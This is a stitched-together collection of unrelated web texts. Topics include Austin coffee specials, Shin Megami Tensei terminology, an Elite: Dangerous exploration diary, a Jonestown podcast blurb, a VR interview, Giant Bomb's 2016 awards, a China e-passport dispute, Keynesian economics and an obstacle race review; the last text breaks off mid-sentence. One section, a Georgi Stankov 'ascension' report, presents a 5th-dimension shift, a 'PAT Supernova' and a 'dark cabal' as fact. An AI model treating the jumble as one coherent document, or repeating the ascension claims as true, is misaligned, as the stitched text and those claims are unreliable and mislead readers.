-Let’s be real. Many of us drink coffee every morning of the week, so it’s not like we need one of those arbitrary national holidays reminding us to celebrate the caffeinated beverage. But, hey, any excuse to drink a cup, right?  National Coffee Day is Sept. 29, when a handful of local coffee shops are commemorating our favorite beverage with drink specials. And if none of those places strike your fancy, we’ve got many other suggestions for where to go for your espresso needs (see below!).  The coffee shop to visit on Friday is East Austin’s tiny Fleet Coffee, which has joined a nationwide effort started by coffee publication Sprudge to raise money for good causes in honor of National Coffee Day. The Night of 1,000 Pours — which actually runs all day at Fleet starting at 7 a.m. — will raise money for the Houston Food Bank, in need of donations following the devastation of Hurricane Harvey.  Fleet will donate 20 percent of its sales for the day to the Houston Food Bank. Plus, the coffee shop has some pretty sweet raffle items from local breweries, restaurants and other coffee shops that you can try and win. The items include gift cards and swag from Micklethwait Craft Meats, Nickel City, Suerte, Unit-D Pizzeria and Veracruz All-Natural.  Cuvee Coffee Bar is another place to visit on Friday. The East Sixth Street shop will have a National Coffee Day Blowout with activities all day starting when Cuvee opens at 6:30 a.m. The highlights include two hours of adult water coloring and a race that will determine who can shotgun cans of Cuvee’s Black & Blue Nitro Cold Brew the fastest.  One other Austin spot celebrating National Coffee Day is Stonehouse Coffee and Bar, which is offering $1 drip coffee and buy-one-get-one-free espresso drinks. (If you’re a teacher, you’ll be extra lucky at this South Lamar coffee shop.)  If you’d prefer a cup in the comfort of your own home, an Austin-based coffee subscription service called Atlas Coffee Club has just the National Coffee Day deal. Get your first bag free if you sign up for the service by using the code “AtlasCoffeeDay17” at checkout. Atlas takes coffee addicts on a caffeinated world tour each month, and it’s a worthy purchase.  But geez, Austin has a lot of coffee shops.  What if you want beer with your coffee? We’ve got this roundup of 10 local places where you can get both kinds of brew.  We also offer several guides to local coffee shops depending upon what part of town you want to find a cup of joe. Best Austin coffee shops near North Lamar Boulevard? Near Burnet Road? Near South First Street? Coffee lover Michael Barnes has broken it all down for us.  RELATED STORIES:  Chameleon Cold-Brew expands with line of whole-bean coffeeGreater Goods Coffee Roasters adds tasting room in Dripping SpringsAustin among top 10 ‘cities for coffee fanatics’
-There was some talk about the elusive Great ___s found in the Shin Megami Tensei games, so I figured I’d share some small (linguistic) explanations for the three we know.  - Shin Megami Tensei II has YHVH mention what we call The Great Will aka 大いなる意志 [ooinaru ishi]  - Shin Megami Tensei III brings into discussion The Great Will once more, this time with a slightly different kanji 大いなる意思 [ooinaru ishi]  - Shin Megami Tensei IV FINAL offers us a change, with The Great Will becoming The Great Reason/Truth (depending on how you want to read it, they function on the same principle) 大いなる理 [ooinaru ri/kotowari]  Both 意志 and 意思 are read the same and generally denote the same thing: intention. In fact, I’ve noticed that Japanese players use them interchangeably, with an overwhelming preference for 意思 (probably because Nocturne’s the more recent game).  All right, so what’s different? There’s actually a very interesting difference between them. 意志 signifies the determination to do something, a proactive state of mind [from 志 kokorozashi - will, intention, motive]. On the other hand, 意思 refers to one’s thoughts and feelings because of 思 shi - to think.  Basically it’s like the difference between ‘I want to do thing’ and ‘I’m thinking of doing thing’. The intention is there, but with a different nuance for each word.  Now, on to 大いなる理. The second kanji can be read either ri or kotowari. The dictionary tells us it means reason, truth, the natural order of things, fundamental truth, etc. Fun fact: if kotowari sounds familiar, it’s because it’s the Reasons of Nocturne (which only had the katakana version コトワリ).  Japanese players have also noticed the difference and look like they have decided that The Great Reason is the equivalent of The Great Will in the SMT4 universe. I figure the official translation will maintain the terminology of the previous games, but knowing some details never hurts. c:  (Source: manapedia.jp)
-More than one million people have played Elite: Dangerous at one point or another. Despite this achievement that surpasses any space sim in history, very few people have actually seen or heard of the best that the game has to offer.  Like other space sims, Elite: Dangerous is challenging and often times cumbersome. Most of its content is never explained in-game, and instead a large majority of veterans gained their knowledge through experimentation and/or by posting questions on places like Reddit. But not everyone puts in the time nor effort to experience the game's potential, and as such their understanding of what it offers is limited to the small gallery of options available from the start.  At this point I have 53 confirmed hours played in Elite: Dangerous using virtual reality, which is well below what most of the active community has accumulated, but a large enough number that I feel like I've become acquainted with the game.  There are a lot of ways to spend time and progress in Elite: Dangerous, one of the most coveted of which is exploration. Although I had succeeded at things like bounty hunting, trading, and missions during my first 53 hours, I had no exploration experience.  I recently felt inspired to change that with the arrival of the v2.3 patch. So, last week I packed my bags, threw on my Oculus Rift, and set off into outer space, unknowing of what awaited in the cosmos.  Travel Preparations  My journey began with investing most of my savings into a ship and outfitting. After arriving at a space hub with large quantity of vehicles in-stock, I put down 564,000 credits on a Diamondback Scout. This particular ship excels at exploration with a default jump range of 11.35 light years, high maneuverability, and four utility mounts to equip with essentials like the fuel scoop.  I would spend almost the entirety of the rest of my savings on equipment. I upgraded virtually every facet of the ship, including its power distributor, thrusters, and I even put down more than one million credits on an advanced discovery scanner, allowing me to acquire data from scanning star systems which I could then sell for income.  As an enthusiast of astronomy, opening up the galaxy map is always delightful. Elite: Dangerous' world replicates that of our own Milky Way with incredible accuracy; you can visit Earth if you want to, Alpha Centauri A, Polaris, among other notable stars known by even the most inexperienced space enthusiast. In-fact, there are over 100 billion star systems to visit in the game, around 160,000 of which are directly inspired by real life. If you're the first person to visit one you can forever lay claim to it, etching your name onto its profile for as long as Elite: Dangerous has online game servers.  After some deep thought, I soon found myself dead-set on visiting a nebula. I had heard that the hot, colorful gases of these giant wonders are a sight to behold, and wanted to see one for myself.  After a few minutes of staring at the galaxy map, I set my trajectory for a class A star within the Lupus Dark Region B.  The Journey Begins  Within 20 minutes I had crossed the boundary of inhabited space, an incredibly small portion of the galaxy that had been populated by human beings. As I would come to know, this would mean that places to dock for fuel and goods would leave with me. I was out in the wild blue yonder all on my own.  Travel takes an incredibly long time in Elite: Dangerous. I outfitted my Diamondback Scout with some of the best equipment available specialized in long distance hyperspace travel. Even then, my maximum jump distance was only 17.1 light years. Although that's far enough to travel roughly four times the distance of the nearest star to our Solar System, the Milky Way is 100,000 light years in diameter.  In my case, I needed to travel 464 light years before I would reach Lupus Dark Region B. That's over 27 hyperspace jumps, each of which require manual jump input; there is no autopilot available like in EVE Online.  Also Read: The Famous Elite: Dangerous Alien Encounter  The further I ventured from inhabited space, the more I was amazed by the scope of the game. I could visibly see the variance in each star and its systems as I hopped from system to system. Some systems had two stars in a tidal lock (bound to each other like the Moon to the Earth), and others had a plethora of gas giants with rings circling them. Some systems didn't even have planets, which made me feel almost like the star was lonely, floating out in space for eternity—or at least until Andromeda collides with our Milky Way in four billion years.  This variation is a great thing for making money. Since I had a discovery scanner equipped, I was able to scan systems for data. Rarer objects are worth a lot more money when scanned, so in cases where monotony began to set in, I was entertained at the thought of visiting distinct locations worth tens of thousands of credits. This is something I would do with all of the more than 60 systems I would visit, providing a monetary benefit to my time investment.  Beautiful Sights  I made an effort to veer off the optimized path and visit some sights along the way. My first stop was a neutron star, which are some of the most dense and powerful stellar objects in existence. These are formed when stars with 10 to 29 solar masses have their core collapse, melting their protons and electrons resulting in an incredibly dense neutron-dominated mass. These are so dense that a portion of one the size of a city equates to roughly 1.4 the mass of the sun. Or put more simply, one teaspoon of neutron star material has 900 times the mass of the Great Pyramid of Giza.  Neutron stars are small in comparison to the average star, but remarkably bright. While I haven't seen one in real life using a telescope, I stared at one through my Oculus Rift and was nearly blinded; its ultra violet+ light produced a blueish white hue that dazzled before its dark background. It was almost like seeing a massive energy-laden diamond in outer space.  As beautiful as it was, I was more impressed by how Elite: Dangerous maps each star. Instead of using a static sky box in the background, all stars within your proximity are visible precisely where they are located in relation to your current location. As I flowed from system to system, I could see the location of stars shift, and occasionally caught a glimpse of stars with incredible colors like dark red class M stars and even blue type O stars (which have an effective temperature of over 30,000 Kelvin).  At one point during my journey I hoped I would cross paths with a black hole, but a part of me was terrified by what that would be like. I think I've watched too many Neil deGrasse Tyson documentaries at this point to not respect the power of black holes. The truth is that most of the black holes known in our galaxy are near the galactic core, and although I was traveling for multiple hours, I wasn't even coming close to the proximity of that location. Maybe someday.  Crisis Scenario  Long distance travel in Elite: Dangerous does require some work beyond hyperspace travel. Fuel is consumed during each jump, to a point where I had to fill up every 5 to 10 minutes. With no space ports nearby, I had to rely on my fuel scoop. This entailed flying around stars while managing my velocity, trajectory, and heat; if I got too close, I would be ripped out of supercruise and be exposed to the incredible energy of the star (a risky proposition when near higher temperature stars). If I was too far, my fuel gained per minute wasn't optimized so I was effectively adding transit time to my travels.  For the exploration fiend of Elite: Dangerous, heat is a primary concern. It is technically possible to be interdicted by another ship and therefore be open to the possibility of a battle related death, but that's incredibly rare within the context of deep space travel. Attentively refueling during mental fatigue is the most common cause of death among explorers.  I made the mistake of getting too close to a star on several occasions, losing a small portion of my hull in the process. In one particular case I came too close to a class B star (11,000 to 25,000 kelvin temperature) and was stopped dead in my tracks with a 30 second frame shift drive cooldown. Seconds felt like minutes as I scrambled to manage the situation. Thermals were rising at a rate I had never seen before. A fire burst from my control panel, and the subsequent smoke fogged my glass shielding.  Also Read: Elite: Dangerous Is The Game No Man's Sky Aspires To Be  As my hull took damage I was thankfully quick to turn off unnecessary components. These included my shields (useless against radiation), weapons, and life support, each of which produce heat of their own, contributing to the problems I was experiencing. My heart raced as I flipped the switches, and aimed my trajectory for the escape vector. It was at this moment that I felt like an Apollo astronaut; nobody was there to save me but myself, and I was in a dire situation that could result in (virtual) death.  By the time I was able to enter supercruise and escape the wrath of the star's energy, I had lost more than 30% of my hull. This meant that I was more susceptible to further damage during my travels, and therefore needed to be far more careful with future fuel scoops. Nonetheless, I made the decision to press on after re-initiating my components.  The Nebula  I was soon rewarded with the best sight of my journey. As I approached Lupus Dark Region B, I could see the dark, blood red nebula drape the sky in the distance. It became bigger as I approached, eventually taking up nearly half of the visible sky.  I made an effort to land on a planet at my destination. It was a red, rocky planet not too dissimilar from Mars, devoid of vegetation or water. Landing was quite the experience, as there was a discomforting feeling I had when touching down on an alien world, unknowing of how it would handle my reception. Although it was unfamiliar to me, it paid no mind in me sharing a few minutes of coexistence.  I ended up drive around in my SRV buggy doing power slides while gathering materials and admiring the incredible beauty that surrounded me. Although the system map stated that someone had been here before, the dirt that I drove on was pristine. No other player had ever landed on the planet at the location where I visited, and that's amazing when you think about it.  It was an incredibly odd feeling being in such a remote location. With billions of stars, there was an infinitesimal chance that any of the thousand of players online were anywhere near me. If I needed help, I was on my own, and the sight I was seeing was my own.  I was glad that I set my destination for a nebula, as it was prettier than I had imagined. This alien world was one vastly different than my home in the Orion Arm.  Coming Home  At this point I had spent more than four hours traveling through the cosmos. Part of me missed being around fellow human beings, having access to a dock and repairs. With that, I decided to head home.  On my way back I took an alternate route, visiting some new stars and scanning them in the process. Though, there was a sense of winding down that came with my final hour of travel. I was no longer heading into a place far beyond, and instead was putting in time to travel to a place I had been before. I'd be lying if I said I didn't consider the thought of self-destruction to instantly travel back to inhabited space, but I knew that would be costly.  I eventually arrived back at LHS 3447, and docked my wounded ship at the Dalton Gateway. My first order of business was making sure I got credit for my exploration scans. I was happy to learn that I earned 1.1 million credits for my efforts, much of which came from my scans of celestial bodies like the neutron star.  As I logged out, I considered that at some point I should travel to the galactic core where star density is incredible, the stakes are even higher , and the sights are so far beyond anything I'd seen before that many players consider it worth the dozens of hours of transit. But for now I was happy with being 1.1 million credits richer, and knowing that I had embraced exploration in Elite: Dangerous for my first time. I think I might be hooked.  Before I go, here are a few quick tips for you if you plan to go on an adventure of your own:  Bring the best discovery scanner you can afford.  Earthlike planets are highly valuable for scans. Skip metal planets and those without an atmosphere.  Gas giants tend to be too far from the star to be worth scanning due to the requirements for travel time.  Lupus Dark Region is roughly 1 hour and 45 minutes out from the center of inhabited space.  Don't forget to bring a fuel scoop and equip your ship with a heat shield.  Learn how to hyperspace jump as quickly as possible to reduce transit time.  Be careful if you go AFK as you could be interdicted.  Maximum jump distance is very important. Invest in components to improve this value as high as possible.  If you've been considering a VR headset and have money for one, it's highly recommended as it greatly improves immersion.  Godspeed.
-Jim Jones and The Jonestown Massacre  On this Podcast we take a look at the largest cult killings of modern times and the man who made it happen, Jim Jones and The Jonestown Massacre. Born out of the socialist movement of 1960’s America this religious group soon gave way to conspiratorial prophecies and revolutionary societal change. The group was started and helmed by doomsday pastor Jim Jones and he took them from Indiana to California to Guyana, picking up admirers like Jane Fonda and Harvey Milk along the way. But it would all in in a tragedy that claimed the lives of over 900 people. We look at an event so shocking that it remains the definitive description of a modern religious cult and has managed to coin it’s own phrase in pop culture:  “Don’t drink the Kool-aid!”  The People’s Temple  From the very beginning Jim Jones led a troubled and unconventional life. One where he was educated in important and useful lessons on the topics of segregation, disenfranchisement, fear of nuclear war and mistrust of governments. It was these lessons that would lead him to become the leader of the People’s Temple and would inform the sermons that garnered him unflinching support. And he would use this support to live out his own personal fantasies and sadistic nature. His desire for power only bettered by his cruel methods of control. We cover the life and mind of the charismatic chief of this group of allegedly brain washed Americans and the forces of corruption and control that both protected and projected the church they called The People’s Temple.  The CIA, Guyana and the kool aid  But as political pressure and journalistic investigation threatened to tear the group apart they would make their ominous move to Guyana. And with the terrible tragedy that ensued the conspiracy theories began. Talk of MK Ultra techniques of mind control and programming. CIA connections in the Jonestown site and the personnel surrounding the hierarchy of the church. The talk of a staged event or ‘psy-op’ all part of long held nefarious scheme. We discuss dead congressmen and dead babies, all the mayhem, madness and mind control and some heavy CIA connections and coincidences to boot as we cover all the theories surronding Jim Jones and the Jonestown Massacre.
-Cosmo Scharf is a film student and co-founder of VRLA. He talks about some of the challenges of VR storytelling and the differences between a free-will VR environment vs. a traditional 2D film. Film has a series of tools to direct attention such as depth of field, camera direction, cues to look to left or right, contrasting colors or movement in the frame. Some of these translate over to VR, but you can’t use all of them since there’s no camera movement, focus or framing in VR.  He talks about the process of starting a meet up in Los Angeles called VRLA, and that a lot of people in the film industry are seeing VR as the future of storytelling and entertainment.  Cosmo also sees that VR experiences are a spectrum from ranging from completely interactive like a video game, semi-interactive cinematic experience, and the completely passive. There’s not a whole lot of people are looking into the completely passive experiences yet, but that’s what he’s interested in exploring as a film student.  He strongly believes it’s the future of storytelling, video games, computing as well as disseminating information in general, and he’s very excited to get more involved in the VR industry  Reddit discussion here.  TOPICS  0:00 – Founder of VR LA. Initially interested in VR after hearing about Valve’s involvement in VR. Reading /r/oculus and listening to podcasts and heard a podcast about starting a meet up.  1:44 – Film industry’s involvement and how many were new to VR? Weeks after the Facebook acquisition, and so there were over 200 people who came out.  2:34 – What type of feedback did you receive? A lot of people in the movie industry are seeing VR as the future of storytelling. Cosmo wants to provide emotionally-engaging experiences.  3:22 – What type of story things are interesting to you. Not a lot of storytelling in VR happening yet. VR is early. Differences between film and VR. Filmmaking rules and practices to use 4 frames for 100 years. VR is a new medium. How do you effectively tell a story without relying upon the same filmmaking techniques.  4:36 – What are some of the open problems in VR storytelling? How to direct someone’s attention. With filmmaking you can use depth of field, camera direction, cues to look to left or right, colors or movement in the frame. Some of the cues in real life are if others are looking in a direction and which direction sounds are coming from. Passive vs. Interactive VR: completely interactive like a video game, semi-interactive cinematic experience, and the completely passive. Not a whole lot of people are looking at the third way.  6:22 – Familiar with Nonny de la Pena’s work. She attended VRLA #1. It’s interesting in terms of VR as a tool for building empathy. When you’re placed virtually in someone else’s shoes, you’ll feel what they’re going to feel. You can connect to people via a 2D screen, but you know that there’s a distance. With VR, you’re in it and completely immersed and engaged.  7:31 – What about choose your own adventure vs. a linear film: VR experience similar to Mass Effect where you have different options to say to characters. Your response will change how the story unfolds. Would like to see a natural feedback between you and the AI characters  8:22 – Where would like to see VR going? We’re still very early with VR, no consumer product is out yet and that will determine if VR is a real thing. Strongly believes it’s the future of storytelling, video games, computing & disseminating information in general. HMDs will be portable. Convergence of augmented reality with VR. Hard to determine how the industry will evolve within the next month, but most exciting industry to be a part of. All of the leaders of the consumer VR space are at SVVRCon.  Theme music: “Fatality” by Tigoolio
-Watch the Day Three Deliberations here:  You need a javascript enabled browser to watch videos. Click To Unmute Game of the Year 2016: Day Three Deliberations Breakfast 'N' Ben - Auto Chess 02/14/19 Share Link  Embed Size: 640 × 360 480 × 270 Start at:  End at:  Autoplay  Loop Want us to remember this setting for all your devices? Sign up or Sign in now! Please use a html5 video capable browser to watch videos. This video has an invalid file format. 00:00:00 YouTube Auto HD High Low Auto Report a problem Sorry, but you can't access this content! Please enter your date of birth to view this video By clicking 'enter', you agree to Giant Bomb's  Terms of Use and Privacy Policy enter  2016 gave us remasters of old games, computers that were made to look old, industry trends that we wish were things of the past, and an old name that suddenly feels fresher than ever.  Best Remaster  Day of the Tentacle Remastered  In a year dominated by "remasters" that consisted of minor graphical touch-ups to games that it feels like we just got through playing, Day of the Tentacle Remastered stands out as a loving and actually necessary restoration of a revered old classic. This is a game from an era when 256-color VGA graphics and digital speech were only starting to become the norm, so needless to say, the original production values don't hold up particularly well these days. Also, people love Day of the Tentacle. Those two factors make this a remaster whose time has come, and it's all the better because Double Fine dove into musty, decades-old archives of source material like original voice recordings and concept art to recreate the elements of the game at a level of quality that should stand the test of time. They even documented that process on YouTube, something we'd love to see other developers do more of.  Throw in requisite bonus features like developer commentary, the ability to seamlessly switch between old and new graphics, and a revamped interface that works great on a controller and lets you expand the playable area to full screen, and this is a textbook case of a remaster done right. As the video game business continues to see demand for updates to old favorites, we could do with fewer "HD remasters" of games that were already HD in the first place, and more labors of love like this restoration of one of LucasArts' most popular old adventure games.  Runners-up: Odin Sphere Leifthrasir, The Legend of Zelda: Twilight Princess HD  Best Fake Computer  Hackmud's fake computer is so good that you'll need to know how to write JavaScript on a real computer if you want to truly get deep. This multiplayer hacking game is little more than a terminal window and a four-hour tutorial that tells you the basics of what you're doing. But once you're thrust into the actual multiplayer end of Hackmud, you're on your own... or you could always make the mistake of trusting another player. Did that player just send you a script that's going to help you become a better hacker, like they said it would? Or will running it simply siphon off all of your currency and send it to the hacker, leaving you broke and broken? There are ways for you to find out, but we're not going to tell you here. That'd spoil the fun.  Runners-up: Event[0], Quadrilateral Cowboy  PLEASE STOP  Shipping Unfinished Games on Disc  Buying a game today is a lot different than it was a decade ago. With the assumption that players will have access to the internet we've seen welcomed patches that include bug fixes, UI tweaks, some rebalancing here and there. "Wait for the patch" has become a fairly common refrain for the first week of release. This year, though, it has felt like more games have taken release to mean initial release, with the final release forthcoming, if ever.  No Man's Sky released and then months later had a major content patch that added a whole host of new and improved features. Final Fantasy XV is promising some narrative updates with cutscenes to fill some story gaps. While live development used to be the realm of MMOs and online-only games, it is settling in throughout the industry. It's not necessarily a bad thing on its own, as we all should have a better game in the end. It only becomes a problem when you put the onus on the consumer to shoulder the burden of receiving those updates.  Data caps, poor internet speeds, and limited connectivity are all realities for some players. There's a difference between having internet access and being able to easily get that 30GB patch onto your system. Buying and inserting a disc only to have to download the entire game in order to play it is a hassle at the very least and impossible in some cases. It feels like we're a bit caught in a half-step between physical media and digital, without a proper offline solution for the former. The assumption that all players have access to or are able to pay for the infrastructure to get a proper version of the game they already paid for is unfair. There is a good use case for patches, and being able to make updates to a game, but don't abuse that system to ship something you know will be fixed or better in a few months.  Runners-up: The Return of Bad PC Ports, Not Providing Early Review Copies  Best Surprise  Before release, numerous elements of the new Doom were reason for concern. It was coming from the ashes of a scrapped Call of Duty clone. Its multiplayer beta failed to impress. Review copies weren't sent out early to press outlets. Any one of these things could have been seen as red flags, and the combination of them didn't bode well for Doom's resurrection. No one could have expected what we wound up getting, which is one of the best first-person shooter campaigns of all time. It managed to retain the mood of classic Doom while adding a surprisingly self-aware sense of humor and an excellent glory kill system. Multiplayer didn't take the world by storm by any means, but we were all too distracted by the shockingly good campaign to care.  Runners-up: Stardew Valley, Hitman
-M A I N N E W S Beijing plays down row over disputed map in its e-passport  Ashok Tuteja/TNS  Tribune News Service New Delhi, December 7  China continues to indulge in double-speak in the latest map row with India, Vietnam and the Philippines, refusing to budge from its position that the move was purely a security measure and not aimed against any country. Chinese sources sought to play down the concerns raised by India and some East Asian countries over China’s new e-passport, the latest bone of contention between Beijing and its neighbours. “This is not targeted at any particular country,” they told The Tribune. Map of discontent * India noticed that Beijing had started issuing new biometric passports depicting two areas along the 4,000-km border as part of China * One of the areas was Arunachal Pradesh while the other was Aksai Chin, a remote part of Jammu and Kashmir that Beijing had occupied after the 1962 war * Beijing had informed all countries in advance about the proposed changes in the e-passport as is the general practice under the regulations of the International Civil Aviation Organisation, Chinese sources said * They explained that the move followed a suggestion from the Chinese Ministry of Public Security that the introduction of e-passport would help improve security effectively, preventing counterfeiting Sources pointed out that Beijing had informed all countries in advance about the proposed changes in the e-passport as is the general practice under the regulations of the International Civil Aviation Organisation. They explained that the move followed a suggestion from the Chinese Ministry of Public Security that the introduction of e-passport would help improve security effectively, preventing counterfeiting. The controversy erupted a few weeks back when India noticed that Beijing had started issuing new biometric passports depicting two areas along the 4,000-km border as part of China. One of the areas was Arunachal Pradesh while the other was Aksai Chin, a remote part of Jammu and Kashmir that Beijing had occupied after the 1962 war. Much to the consternation of Vietnam and the Philippines, the e-passport also shows shoals and archipelagos in the South China Sea that Beijing claims almost entirely, but which is contested and, in some areas, patrolled by a number of other Southeast Asian nations. The move was interpreted as yet another crude attempt by China to keep its neighbours on tenterhooks and aggressively display its hegemonistic designs. Officials in New Delhi swiftly got into action, considering ways and means to counter the Chinese move. Though technically it was an issue concerning the Chinese passport, New Delhi felt that stamping visas to its holders could amount to endorsing China’s stand. When New Delhi complained to the Chinese Foreign Ministry in this regard, it got no response. Left with no choice, India went in for a tit-for-tat response, covering up the controversial map that appears as a watermark on the pages of the latest Chinese passports with a specially redesigned visa that displays India’s version of the border. The redesigned visa depicts the two Himalayan regions as a part of India. Asked if the redesigned visa had annoyed the Chinese, an official source said, “We are not concerned about how they react because they are the ones who started it.” In response to a question, the source said there was no need for a Parliamentary approval for the redesigned visa. Meanwhile, Vietnam and the Philippines have also found ways to deal with the situation. Vietnam is now issuing visas to Chinese nationals on separate slips of paper rather than stamps affixed to passport pages to avoid approving Beijing’s action. Similarly, the Philippine visas will be stamped on a separate visa form for Chinese applicants.
-In 2008 and 2009, we suffered the worst recession since the Great Depression. And now we're experiencing the weakest recovery in modern history. Here we are in the third year of an economic expansion, and we're barely back where we started. And by some measures, most importantly unemployment, we have failed to get back where we started.  To make matters worse, with the crisis in Europe and a slowdown in China, some people worry that another recession might be looming for next year, especially if we fall off the proverbial fiscal cliff of increased taxes and an end to government economic stimulus.  So let's go back to basics. What would Keyes do?  John Maynard Keynes (1883–1946) was the most influential economist of the 20th century. His ideas were adopted by Franklin D. Roosevelt to battle the Depression. Most economists, even many Republicans, credit Roosevelt and Keynesian economics with putting Americans back to work in the 1930s, helping the U.S. climb out of economic disaster, and setting the stage for the post-war economic boom. By 1971, President Richard Nixon admitted, “We’re all Keynesians now.”  Keynes theorized that during recessions, the public gets frightened and holds back on spending, resulting in more layoffs, which in turn produces less spending in a vicious circle of economic decline. The way to break the cycle, said Keynes, is to pump government spending into the economy by building roads and bridges and other public works. FDR even hired unemployed writers for a Federal Writers’ Project, traveling the country to produce guidebooks on states and cities.  Keynes overturned classical economic theory which said that free markets produce full employment. Keynes argued that aggregate demand determines the level of economic activity. If demand falls short, it leads to recession and high unemployment. Keynesian economics fell out of favor under President Reagan, but George Bush brought back Keynes in the 2000s, ramping up spending in order to pump up aggregate demand, and President Obama has tried to follow suit, with limited success.  So what would Keynes do in 2012? Let’s speculate:  1. Clearly, he would advise the federal government to invest in infrastructure, building roads and bridges, improving the electric grid, reinvigorating the space program, and developing alternative energy. Remember, it was FDR who built the alternative energy infrastructure of his day, from the Grand Coulee Dam to the Tennessee Valley Authority.  2. Keynes introduced the concept of price stickiness, which means that workers resist lowering their wages in the face of falling demand for labor. Keynes was undeniably liberal, yet he would certainly comprehend the current fiscal problems of cities and states, burdened with past promises of unaffordable pay packages for their workers. He would probably not support the draconian measures of officials like Wisconsin Governor Scott Walker to take away worker rights. But he probably would support less drastic cutbacks taking place in states like New York and California, where politicians are pushing to balance budgets in the face of lower economic conditions.  3. Keynes said if money saved exceeds the amount being invested, then unemployment will rise. Think of all the money hoarded on corporate balance sheets. Google alone is sitting on almost $50 billion in cash. Microsoft has almost $60 billion. He might well be in favor of lowering taxes on funds that American businesses hold overseas so they would bring the money home. And he would certainly support tax breaks and other incentives for corporations to build new factories and ramp up research and development.  4. Keynes felt that countries should not run large trade surpluses or deficits. He would likely be in favor of lowering the value of the dollar to boost American exports, give our multinational corporations a competitive edge, and reduce the U.S. trade deficit.  5. Finally, Keynes argued that World War II should be paid for with higher taxation. To the extent that higher taxation would not reduce demand—and there’s little evidence that modestly higher taxes on incomes above $250,000 would reduce aggregate demand, because these are the people who are hoarding "too much" cash—he would be in favor of increasing taxes on super-rich, and maybe even the near-rich, to help pay for our military ventures, finance infrastructure investment, and narrow the budget deficit.  Tom Sightings is a former publishing executive who was eased into early retirement in his mid-50s. He lives in the New York area and blogs at Sightings at 60, where he covers health, finance, retirement, and other concerns of baby boomers who realize that somehow they have grown up.
-by Coleen Van Der Watt, August 29, 2013  www.stankovuniversallaw.com  Preface  by Georgi Stankov  It may take some time before we comprehend exactly what has happened yesterday and this night. But there is no doubt that a major final decision has been made to begin with the detonation of the PAT Supernova independently of what will happen on the ground – what crimes the dark cabal intend to perpetrate on humanity. It is a predetermined outcome that they will fail and drop out from this reality, so that this final outburst of dark energies will only fuel our ascension, which is overdue long time ago.  The report of Coleen from South Africa as of today is another powerful confirmation that the ascension process has begun.  Carla had yesterday another important ascension journey to the 5th dimension, but she still needs to discuss its ramifications with the Elohim before we know exactly what she has accomplished during this visit. At the same time I was also retrieved from this reality and dwelled for almost two hours in the higher realms, where some important decisions were made as reported this night. As soon as I have more information on these recent energetic events, I will publish it immediately.  It is also important to note that yesterday there was another huge shift to higher dimensions and now, while I am writing this preface, a second powerful surge of source energies is coming. There is no doubt that the dramatics of the ascension process is now peaking parallel to the beginning of the anticipated atrocities of the dark Western cabal in the Middle East and elsewhere around the world. This is all part and parcel of the last act of this cosmic human drama before the curtain falls for this reality and the New Earth is unveiled.  ______________________________ ______________________  Coleen’s Energy Report – August 29th, 2013  From South Africa  Dear Georgi  the last email I sent was really quick, my Internet is almost finished, so wanted to let you know. but here I am going to try and explain how I felt, hopefully the email will get to you.  Last night I could feel the energy’s soaring. I kept refreshing your site as I knew I would hear from you. It smacked me of my chair when my HS told me “No”, not the Internet. I tried to listen what she was going to say. To my surprise it was you. You told me that you were in 5D and that you needed my help in sending as much light as I could to the 5D and the PAT.  I immediately went to lie down this was at 9:00 pm and started sending out my light with the help of HS as you told me. I felt all the angels and light beings around me feeling their love and peace. and if I should ascend, they are there with me. I took your hand and Carla’s and could see all the PAT standing in huge circles holding hands with each shinning their light so bright.  I could feel in body that I could dissolve any moment. after an hour (although it felt much less) I opened my eyes, feeling disorientated as if I was in the wrong place. but I was in my room and all felt different but everything I was seeing was the same. I am truly still feeling like “where am I ?” I asked HS what this was all about. and she told me that there was a huge shift. I only slept for 2 hours at night and slept the whole morning. really tired. But had a dream about the Supernova.  I know you don’t reply to any emails but would like to hear from you.  Love and light  Coleen  ______________________________ ___________  Dear Coleen,  I am very obliged for sending me this comprehensive account on what has happened yesterday evening and in the night. Carla had also a remarkable experience yesterday, but she still needs some validation from the Elohim what exactly took place.  I will publish your report as a confirmation of the beginning of the ascension process.  With love and light  George
-By  The BattleFrog west coast expansion tour travelled north from LA to San Francisco (sort of) this past weekend. While some folks were less than pleased by the distance that the venue was from San Francisco itself (roughly 75 miles), Sonoma County residents such as myself were incredibly excited to finally have a large-scale OCR event in our own backyard.  The event was held in the rolling hills surrounding Lake Sonoma, in the small town of Geyserville. Ultra-runners know this location well, as it annually hosts the Lake Sonoma 50 miler. Saturday morning brought clear skies, and temps in the low 50’s; this was in stark contrast to the three days prior to the event, which saw nothing but rain. As a result, the athletes were in for a very slick and muddy course. Oh yeah….and hills…lots of hills.  BattleFrog spread 29 obstacles across the 8k course (which measured as long as 7.2 miles depending upon whose GPS you believe). This was my first attempt at an OCR event that wasn’t a Tough Mudder, so I was anxious to see how I’d fare on some of the tougher obstacles.  As is the case with most BattleFrog events, the Elite and Masters male and female waves all launched at around 7:30am. The BattleFrog Xtreme folks (those who attempt to complete as many laps as possible during the day) were up next. If you ever attend a BF event, be sure to catch the briefing for the Xtreme heat. Chris Acord (aka The Beard) spells out the rules and dishes out a little pre-race punishment; and for those who miss the briefing – well, some special punishment (and public shaming) awaits them at the start line.  Once the Xtreme athletes were gone, it was time for the first Open wave of the day. This included yours truly. Coach Pain DeWayne lined us up in rows of 10 to 12 and then provided us with his signature motivational speech. He then sent us on our way, launching row after row every 15 seconds or so.  The course started off with a fairly steep downhill section. This would later be looked upon as a luxury, as they managed (or at least it seemed) to make a majority of this course uphill.  One thing was certain from the get go….BattleFrog loves walls. You name it, they’ve got it. We started with an Under/Over/Through set, and then came upon a 12-foot ladder wall shortly after that. Throughout the course, there were many more. There were straight walls of different heights (8 foot, 6 foot, 4 foot). There were walls angled in various directions (Inverted wall, Ramp wall, Wedge wall). They also threw in a challenging rope wall right near the end, just in case you had any grip strength left.  One of my favorite things about the course was the way they used the natural terrain against you. As a local who has run the trails in this area before, I thought I’d have a bit of an advantage. That would have been the case, had we actually stuck to the trails. To loosely paraphrase Doc Brown, “Trails? Where we’re going, we don’t need trails”. Where we did go was straight up the side of the mountain. A lot. The “Hill Scramble” was the 4th obstacle of the course, and it was hardly a scramble at all. It was a very long and very steep climb through some low grass. I don’t know the actual length of the climb, but my calves tell me it was 17 miles. These types of climbs occurred multiple times, this one just happened to have a title.  Since the event was held near a lake, I figured we’d end up in the lake at some point…and we did…although it was just a short trudge through the shallows, no more than thigh deep. Later, there was a really fun technical part of the course called Frog Falls, where we basically hiked and climbed our way through a deep creek bed for a while. The recent rains made climbing out of this area particularly slippery.  There were two “carry” obstacles on this course. The Wreck Bag Carry (50lb sandbag) and the 